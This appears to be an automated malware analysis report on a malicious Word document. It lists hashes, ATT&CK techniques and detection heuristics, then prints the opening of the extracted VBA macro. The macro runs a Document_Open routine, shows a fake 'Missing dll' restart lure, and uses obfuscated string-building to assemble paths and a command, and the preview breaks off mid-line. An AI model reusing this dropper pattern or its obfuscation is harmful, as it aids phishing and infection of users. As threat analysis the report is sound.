Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 616b5f143156dffb…

MALICIOUS

Office (OLE)

2.22 MB Created: 2017-12-04 09:14:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 4c5a5c236c9f4480b3d725f297673fad SHA-1: 7b24d7332f22c4d9ac72070203745b4bea208cb4 SHA-256: 616b5f143156dffbdc6cd5765d157874540739f7d74a0b86cb0c4ed342605443
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information

The sample is a Microsoft Office document containing a VBA macro that executes upon opening. The macro displays a fake error message to the user, instructing them to restart their PC, which is a common lure to encourage macro execution. The macro also contains obfuscated code, suggesting it is designed to download and execute a secondary payload. The ClamAV detection and heuristic firings strongly indicate malicious intent.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 285264 bytes
SHA-256: ccede09ca6bf2fac175835fcb3fa3ca26c48ab99e3a58753dfad47bf7488084c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 228 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"

Option Explicit

Private Sub CommandButton1_Click()
MsgBox (" *******  Missing dll  ******* " & vbCrLf & "Restart Your PC to Complete the Process")
End Sub

Sub Document_Open()
On Error Resume Next


Dim cZkg, hDWS, eHyR As String
cZkg = Ttbi(QYYM)
hDWS = Ttbi(bNdl)
eHyR = Ttbi(QloH)


Dim jNxm As String
jNxm = JwHb(oLNd(128, 211))
jNxm = uFUn(jNxm, JwHb(oLNd(246, 149)))
jNxm = uFUn(jNxm, JwHb(oLNd(201, 187)))
jNxm = uFUn(jNxm, JwHb(oLNd(208, 185)))
jNxm = uFUn(jNxm, JwHb(oLNd(218, 170)))
jNxm = uFUn(jNxm, JwHb(oLNd(76, 56)))
jNxm = uFUn(jNxm, JwHb(oLNd(208, 185)))
jNxm = uFUn(jNxm, JwHb(oLNd(38, 72)))
jNxm = uFUn(jNxm, JwHb(oLNd(199, 160)))
jNxm = uFUn(jNxm, JwHb(oLNd(28, 50)))
jNxm = uFUn(jNxm, JwHb(oLNd(20, 82)))
jNxm = uFUn(jNxm, JwHb(oLNd(208, 185)))
jNxm = uFUn(jNxm, JwHb(oLNd(200, 164)))
jNxm = uFUn(jNxm, JwHb(oLNd(248, 157)))
jNxm = uFUn(jNxm, JwHb(oLNd(128, 211)))
jNxm = uFUn(jNxm, JwHb(oLNd(64, 57)))
jNxm = uFUn(jNxm, JwHb(oLNd(220, 175)))
jNxm = uFUn(jNxm, JwHb(oLNd(76, 56)))
jNxm = uFUn(jNxm, JwHb(oLNd(248, 157)))
jNxm = uFUn(jNxm, JwHb(oLNd(12, 97)))
jNxm = uFUn(jNxm, JwHb(oLNd(112, 63)))
jNxm = uFUn(jNxm, JwHb(oLNd(127, 29)))
jNxm = uFUn(jNxm, JwHb(oLNd(17, 123)))
jNxm = uFUn(jNxm, JwHb(oLNd(248, 157)))
jNxm = uFUn(jNxm, JwHb(oLNd(246, 149)))
jNxm = uFUn(jNxm, JwHb(oLNd(76, 56)))

Dim aDec As String
aDec = cZkg
Dim mrJi As String
mrJi = ""
mrJi = uFUn(mrJi, JwHb(oLNd(49, 114)))
mrJi = uFUn(mrJi, JwHb(oLNd(185, 131)))
mrJi = uFUn(mrJi, "\")
mrJi = uFUn(mrJi, JwHb(oLNd(223, 143)))
mrJi = uFUn(mrJi, JwHb(oLNd(201, 187)))
mrJi = uFUn(mrJi, JwHb(oLNd(223, 176)))
mrJi = uFUn(mrJi, JwHb(oLNd(199, 160)))
mrJi = uFUn(mrJi, JwHb(oLNd(201, 187)))
mrJi = uFUn(mrJi, JwHb(oLNd(23, 118)))
mrJi = uFUn(mrJi, JwHb(oLNd(12, 97)))
mrJi = uFUn(mrJi, JwHb(oLNd(123, 63)))
mrJi = uFUn(mrJi, JwHb(oLNd(23, 118)))
mrJi = uFUn(mrJi, JwHb(oLNd(76, 56)))
mrJi = uFUn(mrJi, JwHb(oLNd(23, 118)))
mrJi = uFUn(mrJi, "\")
mrJi = uFUn(mrJi, JwHb(oLNd(213, 130)))
mrJi = uFUn(mrJi, JwHb(oLNd(208, 185)))
mrJi = uFUn(mrJi, JwHb(oLNd(38, 72)))
mrJi = uFUn(mrJi, JwHb(oLNd(117, 17)))
mrJi = uFUn(mrJi, JwHb(oLNd(223, 176)))
mrJi = uFUn(mrJi, JwHb(oLNd(177, 198)))
mrJi = uFUn(mrJi, JwHb(oLNd(220, 175)))
mrJi = uFUn(mrJi, JwHb(oLNd(123, 63)))
mrJi = uFUn(mrJi, JwHb(oLNd(248, 157)))
mrJi = uFUn(mrJi, JwHb(oLNd(12, 106)))
mrJi = uFUn(mrJi, JwHb(oLNd(248, 157)))
mrJi = uFUn(mrJi, JwHb(oLNd(38, 72)))
mrJi = uFUn(mrJi, JwHb(oLNd(117, 17)))
mrJi = uFUn(mrJi, JwHb(oLNd(248, 157)))
mrJi = uFUn(mrJi, JwHb(oLNd(201, 187)))
mrJi = uFUn(mrJi, JwHb(oLNd(128, 211)))
mrJi = uFUn(mrJi, JwHb(oLNd(248, 157)))
mrJi = uFUn(mrJi, JwHb(oLNd(201, 187)))
mrJi = uFUn(mrJi, JwHb(oLNd(217, 175)))
mrJi = uFUn(mrJi, JwHb(oLNd(208, 185)))
mrJi = uFUn(mrJi, JwHb(oLNd(246, 149)))
mrJi = uFUn(mrJi, JwHb(oLNd(248, 157)))
mrJi = uFUn(mrJi, JwHb(oLNd(28, 50)))
mrJi = uFUn(mrJi, JwHb(oLNd(208, 185)))
mrJi = uFUn(mrJi, JwHb(oLNd(38, 72)))
mrJi = uFUn(mrJi, JwHb(oLNd(208, 185)))

Module1.wmVW mrJi, aDec, jNxm

Dim Ipfi As String
Ipfi = ""
Ipfi = uFUn(Ipfi, JwHb(oLNd(49, 114)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(185, 131)))
Ipfi = uFUn(Ipfi, "\")
Ipfi = uFUn(Ipfi, JwHb(oLNd(223, 143)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(201, 187)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(223, 176)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(199, 160)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(201, 187)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(23, 118)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(12, 97)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(123, 63)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(23, 118)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(76, 56)))
Ipfi = uFUn(Ipfi, JwHb(oLNd(23, 118)))
Ipfi = uFUn(Ipf
... (truncated)